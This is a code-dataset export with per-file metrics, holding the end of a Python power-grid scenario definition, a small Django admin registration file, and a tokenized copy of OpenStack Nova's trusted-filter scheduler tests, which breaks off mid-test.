0.1171, 0.1613, 0.1856, 0.1869, 0.1651, 0.1229, 0.0655, -0.0, -0.0655, -0.1229, -0.1651, -0.1869, -0.1856, -0.1613, -0.1171, -0.0585]] ] # Sets of generators and loads from the set of all devices. gens = (case["gen"][:,1]>0.0).nonzero()[0] loads = (case["gen"][:,1]<0.0).nonzero()[0] # Determine subset of considered flexible services of loads given the flex lvl parameter. N_flex = len(flex_conso) flex_steps = { 'NONE':[], # 0 'LOW':range(0,N_flex,5), # 11 'MEDIUM':range(0,N_flex,5)+range(1,N_flex,5), # 22 'HIGH':range(0,N_flex,5)+range(1,N_flex,5)+range(2,N_flex,5), # 33 'VERY HIGH': range(0,N_flex,5)+range(1,N_flex,5)+range(2,N_flex,5)+range(3,N_flex,5), # 43 'FULL':range(53) } case["flex"] = [] for k in flex_steps[flex_level]: case["flex"] += [flex_conso[k]] # Define the curtailment services for wind generators. curt_price = array([45., 38., 35., 31., 30., 34., 41., 48., 53., 55., 56., 57., 54., 51., 47., 46., 47., 52., 59., 60., 54., 52., 51., 49.]) for gen in gens[-6:]: case["flex"] += [[2, gen, lambda real_time, price_time: curt_price[ceil((price_time-1)/4)]]] # Define the stochastic models describing the consumption of loads and the production of generators. load_scales = array([0.4285, 0.4505, 0.3325, 0.3995, 0.4155, 0.4395, 0.3585, 0.405 , 0.083 , 0.443 , 0.36 , 0.3905, 0.4515, 0.575 , 0.592 , 0.5625, 0.4605, 0.3445, 0.3775, 0.357 , 0.578 , 0.404 , 0.6275, 0.5865, 0.4015, 0.383 , 0.4625, 0.395 , 0.584 , 0.4965, 0.6195, 0.5825, 0.5695, 0.279 , 0.299 , 0.3145, 0.302 , 0.26 , 0.493 , 0.2825, 0.3235, 0.3045, 0.2835, 0.3005, 0.5495, 0.198 , 0.5225, 0.194 , 0.506 , 0.17 , 0.54 , 0.244 , 0.443 ]) pv_scales = 1.e-6*array([ 318., 412., 318., 412., 318., 412., 320., 320., 80., 404., 346., 346., 346., 518., 518., 520., 520., 346., 346., 346., 518., 518., 520., 520., 352., 354., 354., 354., 528., 532., 532., 532., 532., 278., 280., 280., 280., 280., 280., 280., 280., 280., 280., 280., 458., 180., 462., 182., 462., 182., 462., 182., 462.]) case["power"] = [] for load, scale in zip(loads, load_scales): case["power"] += [[load, LoadSampler(scale)]] # Dev id, callable for gen, scale in zip(gens[:-6],pv_scales): case["power"] += [[gen, lambda ir, ws, scale=scale: scale*ir]] # Dev id, callable for gen in gens[-6:]: case["power"] += [[gen, lambda ir, ws: (9.0/6.0)*min(0.015*(ws-3.5)**3,3.0)*(ws>=3.5)*(ws<=25)]] # Dev id, callable return case
93.581864
228
0.445871
10,146
37,152
1.630002
0.055983
0.539848
0.677712
0.80445
0.710364
0.685573
0.680614
0.675898
0.675898
0.67354
0
0.548315
0.241225
37,152
396
229
93.818182
0.038347
0.013081
0
0.013405
0
0
0.002811
0
0
0
0
0
0
1
0.002681
false
0
0.005362
0
0.010724
0
0
0
1
null
1
1
1
0
0
0
0
0
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ccadd9e6c3ccf80be65ef56da22f2038e619b36b
130
py
Python
awwardapp/admin.py
Gesare/Web
3e4cbd1898915e05d36505df87ebb40adf46cfa3
[ "Unlicense" ]
1
2020-06-12T07:05:50.000Z
2020-06-12T07:05:50.000Z
awwardapp/admin.py
Gesare/Zawadiana
3e4cbd1898915e05d36505df87ebb40adf46cfa3
[ "Unlicense" ]
3
2021-06-02T02:03:55.000Z
2021-09-08T02:08:05.000Z
awwardapp/admin.py
Gesare/Zawadiana
3e4cbd1898915e05d36505df87ebb40adf46cfa3
[ "Unlicense" ]
null
null
null
from django.contrib import admin from .models import Profile,Projects admin.site.register(Projects) admin.site.register(Profile)
21.666667
36
0.830769
18
130
6
0.555556
0.240741
0.314815
0.462963
0
0
0
0
0
0
0
0
0.084615
130
6
37
21.666667
0.907563
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
ccd4b71ff7cf200d0f5e02c5921fff9c83934b72
25,798
py
Python
nova/tests/unit/scheduler/filters/test_trusted_filters.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/scheduler/filters/test_trusted_filters.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/scheduler/filters/test_trusted_filters.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
2
2017-07-20T17:31:34.000Z
2020-07-24T02:42:19.000Z
begin_unit comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may' nl|'\n' comment|'# not use this file except in compliance with the License. You may obtain' nl|'\n' comment|'# a copy of the License at' nl|'\n' comment|'#' nl|'\n' comment|'# http://www.apache.org/licenses/LICENSE-2.0' nl|'\n' comment|'#' nl|'\n' comment|'# Unless required by applicable law or agreed to in writing, software' nl|'\n' comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT' nl|'\n' comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the' nl|'\n' comment|'# License for the specific language governing permissions and limitations' nl|'\n' comment|'# under the License.' nl|'\n' nl|'\n' name|'import' name|'mock' newline|'\n' name|'from' name|'oslo_config' name|'import' name|'cfg' newline|'\n' name|'from' name|'oslo_serialization' name|'import' name|'jsonutils' newline|'\n' name|'from' name|'oslo_utils' name|'import' name|'fixture' name|'as' name|'utils_fixture' newline|'\n' name|'from' name|'oslo_utils' name|'import' name|'timeutils' newline|'\n' name|'import' name|'requests' newline|'\n' nl|'\n' name|'from' name|'nova' name|'import' name|'objects' newline|'\n' name|'from' name|'nova' op|'.' name|'scheduler' op|'.' name|'filters' name|'import' name|'trusted_filter' newline|'\n' name|'from' name|'nova' name|'import' name|'test' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'scheduler' name|'import' name|'fakes' newline|'\n' name|'from' name|'nova' name|'import' name|'utils' newline|'\n' nl|'\n' DECL|variable|CONF name|'CONF' op|'=' name|'cfg' op|'.' name|'CONF' newline|'\n' nl|'\n' nl|'\n' DECL|class|AttestationServiceTestCase name|'class' name|'AttestationServiceTestCase' op|'(' name|'test' op|'.' name|'NoDBTestCase' op|')' op|':' newline|'\n' nl|'\n' DECL|member|setUp indent|' ' name|'def' name|'setUp' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'AttestationServiceTestCase' op|',' name|'self' op|')' op|'.' name|'setUp' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'api_url' op|'=' string|"'/OpenAttestationWebServices/V1.0'" newline|'\n' name|'self' op|'.' name|'host' op|'=' string|"'localhost'" newline|'\n' name|'self' op|'.' name|'port' op|'=' string|"'8443'" newline|'\n' name|'self' op|'.' name|'statuses' op|'=' op|'(' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'requests' op|'.' name|'codes' op|'.' name|'CREATED' op|',' nl|'\n' name|'requests' op|'.' name|'codes' op|'.' name|'ACCEPTED' op|',' name|'requests' op|'.' name|'codes' op|'.' name|'NO_CONTENT' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'requests' op|',' string|"'request'" op|')' newline|'\n' DECL|member|test_do_request_possible_statuses name|'def' name|'test_do_request_possible_statuses' op|'(' name|'self' op|',' name|'request_mock' op|')' op|':' newline|'\n' indent|' ' string|'"""This test case checks if \'_do_request()\' method returns\n appropriate status_code (200) and result (text converted to json),\n while status_code returned by request is in one of fourth eligible\n statuses\n """' newline|'\n' nl|'\n' name|'for' name|'status_code' name|'in' name|'self' op|'.' name|'statuses' op|':' newline|'\n' indent|' ' name|'request_mock' op|'.' name|'return_value' op|'.' name|'status_code' op|'=' name|'status_code' newline|'\n' name|'request_mock' op|'.' name|'return_value' op|'.' name|'text' op|'=' string|'\'{"test": "test"}\'' newline|'\n' nl|'\n' name|'attestation_service' op|'=' name|'trusted_filter' op|'.' name|'AttestationService' op|'(' op|')' newline|'\n' name|'status' op|',' name|'result' op|'=' name|'attestation_service' op|'.' name|'_do_request' op|'(' nl|'\n' string|"'POST'" op|',' string|"'PollHosts'" op|',' op|'{' op|'}' op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'status' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'jsonutils' op|'.' name|'loads' op|'(' name|'request_mock' op|'.' name|'return_value' op|'.' name|'text' op|')' op|',' nl|'\n' name|'result' op|')' newline|'\n' nl|'\n' dedent|'' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'requests' op|',' string|"'request'" op|')' newline|'\n' DECL|member|test_do_request_other_status name|'def' name|'test_do_request_other_status' op|'(' name|'self' op|',' name|'request_mock' op|')' op|':' newline|'\n' indent|' ' string|'"""This test case checks if \'_do_request()\' method returns\n appropriate status (this returned by request method) and result\n (None), while status_code returned by request is not in one of fourth\n eligible statuses\n """' newline|'\n' nl|'\n' name|'request_mock' op|'.' name|'return_value' op|'.' name|'status_code' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'NOT_FOUND' newline|'\n' name|'request_mock' op|'.' name|'return_value' op|'.' name|'text' op|'=' string|'\'{"test": "test"}\'' newline|'\n' nl|'\n' name|'attestation_service' op|'=' name|'trusted_filter' op|'.' name|'AttestationService' op|'(' op|')' newline|'\n' name|'status' op|',' name|'result' op|'=' name|'attestation_service' op|'.' name|'_do_request' op|'(' nl|'\n' string|"'POST'" op|',' string|"'PollHosts'" op|',' op|'{' op|'}' op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'requests' op|'.' name|'codes' op|'.' name|'NOT_FOUND' op|',' name|'status' op|')' newline|'\n' name|'self' op|'.' name|'assertIsNone' op|'(' name|'result' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'requests' op|',' string|"'request'" op|')' newline|'\n' DECL|member|test_do_request_unconvertible_text name|'def' name|'test_do_request_unconvertible_text' op|'(' name|'self' op|',' name|'request_mock' op|')' op|':' newline|'\n' indent|' ' name|'for' name|'status_code' name|'in' name|'self' op|'.' name|'statuses' op|':' newline|'\n' comment|'# this unconvertible_texts leads to TypeError and ValueError' nl|'\n' comment|'# in jsonutils.loads(res.text) in _do_request() method' nl|'\n' indent|' ' name|'for' name|'unconvertible_text' name|'in' op|'(' op|'{' string|'"test"' op|':' string|'"test"' op|'}' op|',' string|"'{}{}'" op|')' op|':' newline|'\n' indent|' ' name|'request_mock' op|'.' name|'return_value' op|'.' name|'status_code' op|'=' name|'status_code' newline|'\n' name|'request_mock' op|'.' name|'return_value' op|'.' name|'text' op|'=' name|'unconvertible_text' newline|'\n' nl|'\n' name|'attestation_service' op|'=' name|'trusted_filter' op|'.' name|'AttestationService' op|'(' op|')' newline|'\n' name|'status' op|',' name|'result' op|'=' name|'attestation_service' op|'.' name|'_do_request' op|'(' nl|'\n' string|"'POST'" op|',' string|"'PollHosts'" op|',' op|'{' op|'}' op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'status' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'unconvertible_text' op|',' name|'result' op|')' newline|'\n' nl|'\n' nl|'\n' dedent|'' dedent|'' dedent|'' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'trusted_filter' op|'.' name|'AttestationService' op|',' string|"'_request'" op|')' newline|'\n' DECL|class|TestTrustedFilter name|'class' name|'TestTrustedFilter' op|'(' name|'test' op|'.' name|'NoDBTestCase' op|')' op|':' newline|'\n' nl|'\n' DECL|member|setUp indent|' ' name|'def' name|'setUp' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'TestTrustedFilter' op|',' name|'self' op|')' op|'.' name|'setUp' op|'(' op|')' newline|'\n' comment|"# TrustedFilter's constructor creates the attestation cache, which" nl|'\n' comment|'# calls to get a list of all the compute nodes.' nl|'\n' name|'fake_compute_nodes' op|'=' op|'[' nl|'\n' name|'objects' op|'.' name|'ComputeNode' op|'(' name|'hypervisor_hostname' op|'=' string|"'node1'" op|')' op|',' nl|'\n' op|']' newline|'\n' name|'with' name|'mock' op|'.' name|'patch' op|'(' string|"'nova.objects.ComputeNodeList.get_all'" op|')' name|'as' name|'mocked' op|':' newline|'\n' indent|' ' name|'mocked' op|'.' name|'return_value' op|'=' name|'fake_compute_nodes' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'=' name|'trusted_filter' op|'.' name|'TrustedFilter' op|'(' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_default_passes dedent|'' dedent|'' name|'def' name|'test_trusted_filter_default_passes' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'req_mock' op|'.' name|'called' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_trusted_and_trusted_passes dedent|'' name|'def' name|'test_trusted_filter_trusted_and_trusted_passes' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"trusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'utils' op|'.' name|'isotime' op|'(' op|')' op|'}' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' nl|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'trusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' name|'req_mock' op|'.' name|'assert_called_once_with' op|'(' string|'"POST"' op|',' string|'"PollHosts"' op|',' op|'[' string|'"node1"' op|']' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_trusted_and_untrusted_fails dedent|'' name|'def' name|'test_trusted_filter_trusted_and_untrusted_fails' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"untrusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'utils' op|'.' name|'isotime' op|'(' op|')' op|'}' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'trusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_untrusted_and_trusted_fails dedent|'' name|'def' name|'test_trusted_filter_untrusted_and_trusted_fails' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"trusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'utils' op|'.' name|'isotime' op|'(' op|')' op|'}' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'untrusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_untrusted_and_untrusted_passes dedent|'' name|'def' name|'test_trusted_filter_untrusted_and_untrusted_passes' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"untrusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'utils' op|'.' name|'isotime' op|'(' op|')' op|'}' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'untrusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_update_cache dedent|'' name|'def' name|'test_trusted_filter_update_cache' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"untrusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'utils' op|'.' name|'isotime' op|'(' op|')' op|'}' op|']' op|'}' newline|'\n' nl|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'untrusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' comment|'# Fill the caches' newline|'\n' nl|'\n' name|'req_mock' op|'.' name|'reset_mock' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'req_mock' op|'.' name|'called' op|')' newline|'\n' nl|'\n' name|'req_mock' op|'.' name|'reset_mock' op|'(' op|')' newline|'\n' nl|'\n' name|'time_fixture' op|'=' name|'self' op|'.' name|'useFixture' op|'(' name|'utils_fixture' op|'.' name|'TimeFixture' op|'(' op|')' op|')' newline|'\n' name|'time_fixture' op|'.' name|'advance_time_seconds' op|'(' nl|'\n' name|'CONF' op|'.' name|'trusted_computing' op|'.' name|'attestation_auth_timeout' op|'+' number|'80' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'req_mock' op|'.' name|'called' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_update_cache_timezone dedent|'' name|'def' name|'test_trusted_filter_update_cache_timezone' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"untrusted"' op|',' nl|'\n' string|'"vtime"' op|':' string|'"2012-09-09T05:10:40-04:00"' op|'}' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'untrusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'time_fixture' op|'=' name|'self' op|'.' name|'useFixture' op|'(' name|'utils_fixture' op|'.' name|'TimeFixture' op|'(' nl|'\n' name|'timeutils' op|'.' name|'normalize_time' op|'(' nl|'\n' name|'timeutils' op|'.' name|'parse_isotime' op|'(' string|'"2012-09-09T09:10:40Z"' op|')' op|')' op|')' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' comment|'# Fill the caches' newline|'\n' nl|'\n' name|'req_mock' op|'.' name|'reset_mock' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'req_mock' op|'.' name|'called' op|')' newline|'\n' nl|'\n' name|'req_mock' op|'.' name|'reset_mock' op|'(' op|')' newline|'\n' name|'time_fixture' op|'.' name|'advance_time_seconds' op|'(' nl|'\n' name|'CONF' op|'.' name|'trusted_computing' op|'.' name|'attestation_auth_timeout' op|'-' number|'10' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'req_mock' op|'.' name|'called' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_combine_hosts dedent|'' name|'def' name|'test_trusted_filter_combine_hosts' op|'(' name|'self' op|',' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'fake_compute_nodes' op|'=' op|'[' nl|'\n' name|'objects' op|'.' name|'ComputeNode' op|'(' name|'hypervisor_hostname' op|'=' string|"'node1'" op|')' op|',' nl|'\n' name|'objects' op|'.' name|'ComputeNode' op|'(' name|'hypervisor_hostname' op|'=' string|"'node2'" op|')' nl|'\n' op|']' newline|'\n' name|'with' name|'mock' op|'.' name|'patch' op|'(' string|"'nova.objects.ComputeNodeList.get_all'" op|')' name|'as' name|'mocked' op|':' newline|'\n' indent|' ' name|'mocked' op|'.' name|'return_value' op|'=' name|'fake_compute_nodes' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'=' name|'trusted_filter' op|'.' name|'TrustedFilter' op|'(' op|')' newline|'\n' dedent|'' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"node1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"untrusted"' op|',' nl|'\n' string|'"vtime"' op|':' string|'"2012-09-09T05:10:40-04:00"' op|'}' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'trusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' comment|'# Fill the caches' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'req_mock' op|'.' name|'called' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'1' op|',' name|'req_mock' op|'.' name|'call_count' op|')' newline|'\n' name|'call_args' op|'=' name|'list' op|'(' name|'req_mock' op|'.' name|'call_args' op|'[' number|'0' op|']' op|')' newline|'\n' nl|'\n' name|'expected_call_args' op|'=' op|'[' string|"'POST'" op|',' string|"'PollHosts'" op|',' op|'[' string|"'node2'" op|',' string|"'node1'" op|']' op|']' newline|'\n' name|'self' op|'.' name|'assertJsonEqual' op|'(' name|'call_args' op|',' name|'expected_call_args' op|')' newline|'\n' nl|'\n' DECL|member|test_trusted_filter_trusted_and_locale_formated_vtime_passes dedent|'' name|'def' name|'test_trusted_filter_trusted_and_locale_formated_vtime_passes' op|'(' name|'self' op|',' nl|'\n' name|'req_mock' op|')' op|':' newline|'\n' indent|' ' name|'oat_data' op|'=' op|'{' string|'"hosts"' op|':' op|'[' op|'{' string|'"host_name"' op|':' string|'"host1"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"trusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'timeutils' op|'.' name|'utcnow' op|'(' op|')' op|'.' name|'strftime' op|'(' nl|'\n' string|'"%c"' op|')' op|'}' op|',' nl|'\n' 